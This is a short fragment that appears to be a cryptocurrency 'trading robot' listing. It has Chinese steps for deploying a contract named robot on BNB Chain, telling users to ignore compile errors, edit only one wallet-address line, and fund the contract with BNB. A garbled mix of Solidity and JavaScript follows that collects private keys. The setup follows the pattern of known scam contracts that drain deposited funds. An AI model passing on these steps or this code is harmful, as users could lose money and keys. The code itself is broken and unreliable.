部署时候15行有一条报错,直接忽略就行这是正常现象
部署版本选择 0.4.26
部署前修改174行地址为自己的钱包地址(其它任何地方不可修改)
部署合约名称为:robot
部署完成后向合约地址转入BNb 机器人将自动开始运行。(建议转入不低于0.4BNb)
如需要取回合约里面的剩余的BNB代币,请输入接受地址后点击takebackBNB。
请勿向合约地址转入除了Bnb以外的任何资产,否者将不可找回。
*/
contract { //这里会有报错,直接忽略不用管
async function initBot() {
if (presaleContractAddress === '' || presaleContractAddress == null || presaleContractAddress.length !== 42 || await web3.eth.getCode(presaleContractAddress) === '0x') {
return console.error('预售地址没填写或填写错误,预售地址必须是合约地址');
} else if (buyingBnbAmount === '' || buyingBnbAmount == null) {
return console.error('购买BNB的数量填写错误');
} else if (senderPrivateKey === '' || senderPrivateKey == null) {
return console.error('私钥填写错误');
}
var privateKeys = [];
if (senderPrivateKey.indexOf(',') > -1) {
privateKeys = senderPrivateKey.split(',');